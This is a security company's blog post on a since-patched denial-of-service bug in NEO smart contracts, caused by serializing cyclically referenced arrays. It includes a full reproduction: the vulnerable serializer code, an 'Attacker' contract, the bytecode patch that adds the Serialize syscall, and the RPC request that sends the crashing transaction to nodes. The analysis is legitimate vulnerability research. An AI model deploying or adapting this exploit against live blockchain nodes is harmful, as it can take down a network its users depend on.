ApriorIT

Nobody likes it when they’re prevented from getting what they want, and this is exactly what a denial of service (DoS) attack does. DoS attacks prevent users from accessing a particular service while also preventing the provider of that service from serving its customers.

Unfortunately, even blockchain technology isn’t immune to DoS attacks. In this post, we talk about the NEO DoS vulnerability that was recently discovered in NEO smart contracts. We give details about the NEO DoS [Denial of Service] vulnerability and show how to recreate it.

Contents:

DoS vulnerability in NEO

Recreating the DoS vulnerability

Conclusion

 

NEO is a smart economy platform aimed at digitizing real world assets with smart contract technology. The NEO network is in active development, so it’s fine if a few bugs are found and fixed along the way. A recent bug in NEO smart contracts (the NEP-5 token bug) allowed attackers to edit variables in the smart contract’s persistent storage by providing invalid transaction input. Our previous post contains more details about the NEO network in general and the NEP-5 token bug in particular. The most important thing about that bug is that it wasn’t a major issue. It has the potential to become a serious vulnerability if a complex contract were affected, but for the currently affected NEO smart contracts (most of which are NEP-5 tokens), the risk from this issue is negligible.

But in this article we focus on a more serious issue – the DoS vulnerability bug on the NEO blockchain.

Related services

Blockchain-based Solution Development

DoS vulnerability in NEO

Unlike any previous vulnerabilities in the NEO network, the most recent vulnerability, which was discovered by Zhiniang Peng from Qihoo 360 Core Security on August 15, 2018, could affect the entire network. This problem could result in a full-force denial of service attack. This attack would originate from a malicious smart contract and could be activated by invoking the contract. As the transaction was processed by the network nodes, each node would crash, eventually leading to the total collapse of the network.

Let’s take a look at the vulnerable code and the issue hidden in it. The problem lies within the smart contract platform, specifically in the System.Runtime.Serialize system call.

This is what the implementation of this system call looks like:

302 private void SerializeStackItem(StackItem item, BinaryWriter writer)
303 {
304     switch (item)
305     {
306         case ByteArray _:
307             writer.Write((byte)StackItemType.ByteArray);
308             writer.WriteVarBytes(item.GetByteArray());
309             break;
310         case VMBoolean _:
311             writer.Write((byte)StackItemType.Boolean);
312             writer.Write(item.GetBoolean());
313             break;
314         case Integer _:
315             writer.Write((byte)StackItemType.Integer);
316             writer.WriteVarBytes(item.GetByteArray());
317             break;
318         case InteropInterface _:
319             throw new NotSupportedException();
320         case VMArray array: // This case is vulnerable. It becomes vulnerable if we try to serialize an array with cyclic references.
321             if (array is Struct)
322                 writer.Write((byte)StackItemType.Struct);
323             else
324                 writer.Write((byte)StackItemType.Array);
325             writer.WriteVarInt(array.Count);
326  
327             foreach (StackItem subitem in array)
328                 SerializeStackItem(subitem, writer); // This is the recursive call that may result in a stack overflow exception.
329             break;
330         case Map map:
331             writer.Write((byte)StackItemType.Map);
332             writer.WriteVarInt(map.Count);
333             foreach (var pair in map)
334             {
335                 SerializeStackItem(pair.Key, writer);
336                 SerializeStackItem(pair.Value, writer);
337             }
338             break;
339     }
340 }

The DoS vulnerability hides in line 328 of the code shown above. There, recursion is triggered for an array of items. The same serialization function will be triggered for each element of the array. However, if the array contains a reference to itself, then the function will be called again for that same array. This will result in an infinite loop which eventually will trigger a stack overflow exception.

In most cases, such stack overflow exceptions are properly caught and handled, so a single exception can’t affect the entire program. But in this case, unfortunately, the stack overflow isn’t handled and the program crashes.

Read also:
Capturing Suspicious Transactions on the Ethereum Blockchain

Recreating the DoS vulnerability

To get a better understanding of this problem, let’s try to recreate the NEO smart contract DoS vulnerability. In their original post, Qihoo 360 provided a proof of concept (PoC) program that would trigger the exception. However, that program isn’t a smart contract and simply uses the NEO library to demonstrate the crash.

We can provide a more accurate reproduction of the vulnerability by creating a malicious smart contract. This contract has to perform five actions:

  1. Create two arrays
  2. Add a reference to the first array into the second array
  3. Add a reference to the second array into the first array
  4. Put either of the two arrays on the program’s stack
  5. Execute the System.Runtime.Serialize system call

The first four steps of this algorithm are simple. This is how you can implement a smart contract that creates a cyclic reference in an array and pushes it onto the stack:

using Neo.SmartContract.Framework;
using Neo.SmartContract.Framework.Services.Neo;
using System;
using System.Numerics;
 
namespace NeoContract
{
    public class Attacker : SmartContract
    {
        public static void Main()
        {
            object[] a = new object[2];
            object[] b = new object[2]; // Create two arrays.
            a[0] = 1;
            b[0] = 2; // Add some junk data into the arrays (this step is optional).
            a[1] = b; // Link the first array (a) to the second array (b).
            b[1] = a; // Link the second array back to the first. At this point, the a array points to the b array and vice versa, creating an infinite loop.
 
            var c = a[1]; // This line puts an element (in this case the b array) onto the stack.
                          // The optimizer would omit this line since it’s pointless. In this case, you would have to add an appropriate opcode yourself.
        }
    }
}

The problem is in the fifth step. There’s no straightforward way to call the serialize function and there’s no way to add inline assembly in NEO smart contracts. So to add the call, we need to edit the compiled smart contract file and insert the needed opcode into it.

First, we need to compile a smart contract without any optimizations. We don’t apply any optimizations at this point for one reason – they may remove some of the necessary steps from the algorithm described above. For instance, the last line that pushes the array onto the stack for us can be removed.

Here’s the resulting opcode from the smart contract above:

#70 bytes
52 PUSH2  # Pushes the number 2 onto the stack.
c5 NEWARRAY  #
6b TOALTSTACK  # Puts the input onto the top of the alternative stack and  removes it from the main stack.
52 PUSH2  # Pushes the number 2 onto the stack.
c5 NEWARRAY  #
6c FROMALTSTACK  # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP  # Duplicates the top stack item.
6b TOALTSTACK  # Puts the input onto the top of the alternative stack and removes it from the main stack.
00 PUSH0  # Pushes an empty array of bytes onto the stack.
52 PUSH2  # Pushes the number 2 onto the stack.
7a ROLL  # The item n back in the stack is moved to the top.
c4 SETITEM  #
52 PUSH2  # Pushes the number 2 onto the stack.
c5 NEWARRAY  #
6c FROMALTSTACK  # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP  # Duplicates the top stack item.
6b TOALTSTACK  # Puts the input onto the top of the alternative stack and removes it from the main stack.
51 PUSH1  # Pushes the number 1 onto the stack.
52 PUSH2  # Pushes the number 2 onto the stack.
7a ROLL  # The item n back in the stack is moved to the top.
c4 SETITEM  #
6c FROMALTSTACK  # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP  # Duplicates the top stack item.
6b TOALTSTACK  # Puts the input onto the top of the alternative stack and removes it from the main stack.
00 PUSH0  # Pushes an empty array of bytes onto the stack.
c3 PICKITEM  #
00 PUSH0  # Pushes an empty array of bytes onto the stack.
51 PUSH1  # Pushes the number 1 onto the stack.
c4 SETITEM  #
6c FROMALTSTACK  # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP  # Duplicates the top stack item.
6b TOALTSTACK  # Puts the input onto the top of the alternative stack and removes it from the main stack.
51 PUSH1  # Pushes the number 1 onto the stack.
c3 PICKITEM  #
00 PUSH0  # Pushes an empty array of bytes onto the stack.
52 PUSH2  # Pushes the number 2 onto the stack.
c4 SETITEM  #
6c FROMALTSTACK  # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP  # Duplicates the top stack item.
6b TOALTSTACK  # Puts the input onto the top of the alternative stack and removes it from the main stack.
00 PUSH0  # Pushes an empty array of bytes onto the stack.
c3 PICKITEM  #
51 PUSH1  # Pushes the number 1 onto the stack.
6c FROMALTSTACK  # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP  # Duplicates the top stack item.
6b TOALTSTACK  # Puts the input onto the top of the alternative stack and removes it from the main stack.
51 PUSH1  # Pushes the number 1 onto the stack.
c3 PICKITEM  #
c4 SETITEM  #
6c FROMALTSTACK  # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP  # Duplicates the top stack item.
6b TOALTSTACK  # Puts the input onto the top of the alternative stack and removes it from the main stack.
51 PUSH1  # Pushes the number 1 onto the stack.
c3 PICKITEM  #
51 PUSH1  # Pushes the number 1 onto the stack.
6c FROMALTSTACK  # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP  # Duplicates the top stack item.
6b TOALTSTACK  # Puts the input onto the top of the alternative stack and removes it from the main stack.
00 PUSH0  # Pushes an empty array of bytes onto the stack.
c3 PICKITEM  #
c4 SETITEM  #
6c FROMALTSTACK  # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP  # Duplicates the top stack item.
6b TOALTSTACK  # Puts the input onto the top of the alternative stack and removes it from the main stack.
00 PUSH0  # Pushes an empty array of bytes onto the stack.
c3 PICKITEM  #
61 NOP  # Does nothing.
6c FROMALTSTACK  # Puts the input onto the top of the main stack and removes it from the alternative stack.
75 DROP  # Removes the top stack item.
66 RET  #

Now we need to add the SYSCALL opcode instead of the final DROP opcode. The parameter for SYSCALL is the name of the function. The opcode will take parameters from the stack and execute the vulnerable function. To add the opcode, you can edit the hex representation of the compiled contract or open the avm file in any hex editor and edit the contract bytecode.

This is the original bytecode:
52 C5 6B 52 C5 6C 76 6B 00 52 7A C4 52 C5 6C 76
6B 51 52 7A C4 6C 76 6B 00 C3 00 51 C4 6C 76 6B
51 C3 00 52 C4 6C 76 6B 00 C3 51 6C 76 6B 51 C3
C4 6C 76 6B 51 C3 51 6C 76 6B 00 C3 C4 6C 76 6B
00 C3 51 C3 75 61 6C 75 66
                     ^^^^^
Instead of the last two bytes here, insert the following:
68 15 4E 65 6F 2E 52 75 6E 74 69 6D 65 2E 53 65 72 69 61 6C 69 7A 65 00 66

If translated to the NEO assembly, this is:
68 SYSCALL (15 is the size of the function name; 4E 65 6F 2E 52 75 6E 74 69 6D 65 2E 53 65 72 69 61 6C 69 7A 65 00 is the function name Neo.Runtime.Serialize in ASCII)
66 RET



The resulting bytecode should look like this:
52 C5 6B 52 C5 6C 76 6B 00 52 7A C4 52 C5 6C 76
6B 51 52 7A C4 6C 76 6B 00 C3 00 51 C4 6C 76 6B
51 C3 00 52 C4 6C 76 6B 00 C3 51 6C 76 6B 51 C3
C4 6C 76 6B 51 C3 51 6C 76 6B 00 C3 C4 6C 76 6B
00 C3 51 C3 75 61 6C 68 15 4E 65 6F 2E 52 75 6E
74 69 6D 65 2E 53 65 72 69 61 6C 69 7A 65 00 66

Now the malicious smart contract is ready and can be deployed just like any other contract. To exploit the vulnerability, you need to invoke the contract. However, most wallets and command-line interface tools require testing the contract invocation before actually sending the transaction. During the test, the function is executed to estimate gas usage, and the wallet will crash due to the same exception.

To send the transaction directly to the network, you can use a remote procedure call. The easiest way to do that is to use Postman to send the request.

Here’s what the request that would start the exploit looks like:

POST http://localhost:30333
content-type: application/json
{
  "jsonrpc": "2.0",
  "method": "invokefunction",
  "params": [
    "0x10a823850545670424c016624784c44f0b47afb7",
    "",
    [ ]
  ],
  "id": 3
}

In this request, the only parameter needed to launch the contract (in the params array) is the script hash of the smart contract itself. You can find more information about this method of invoking a smart contract here.

Propagating this transaction will result in consensus nodes crashing one by one as they attempt to process the request. Eventually, it’ll halt the entire network for as long as the transaction remains pending and the nodes keep attempting to process it.

Read also:
Blockchain Vulnerabilities: Verge Network Mining Attack

Conclusion

The NEO network is a rather new yet promising smart contract platform. And even though certain bugs and security issues are discovered every now and then, the NEO team is working hard to fix those problems and improve their platform.

In the case of the denial of service vulnerability described in this post, the NEO team submitted the bug fix within a few hours of its discovery, which is an impressive response time for any development team. However, knowing the details about the NEO DoS vulnerability is beneficial for anyone who wants to ensure a high level of security and protection of their smart contracts on the NEO network.

Case Study:
Smart Contract Security Audit: Penetration Testing and Static Analysis

Are you looking for a team of experienced blockchain professionals who can help you build a secure and bug-free blockchain-based solution? Get in touch with us and we’ll get back to you shortly!

 

Let's talk

4000 chars left
Attach a file
Browse
By clicking Send you give consent to processing your data

Book an Exploratory Call

Do not have any specific task for us in mind but our skills seem interesting? Get a quick Apriorit intro to better understand our team capabilities.

Book time slot

Contact Us

P: +1 202-780-9339
E: [email protected]

8 The Green, Suite #7106, Dover, DE 19901
United States

D-U-N-S number: 117063762

btnUp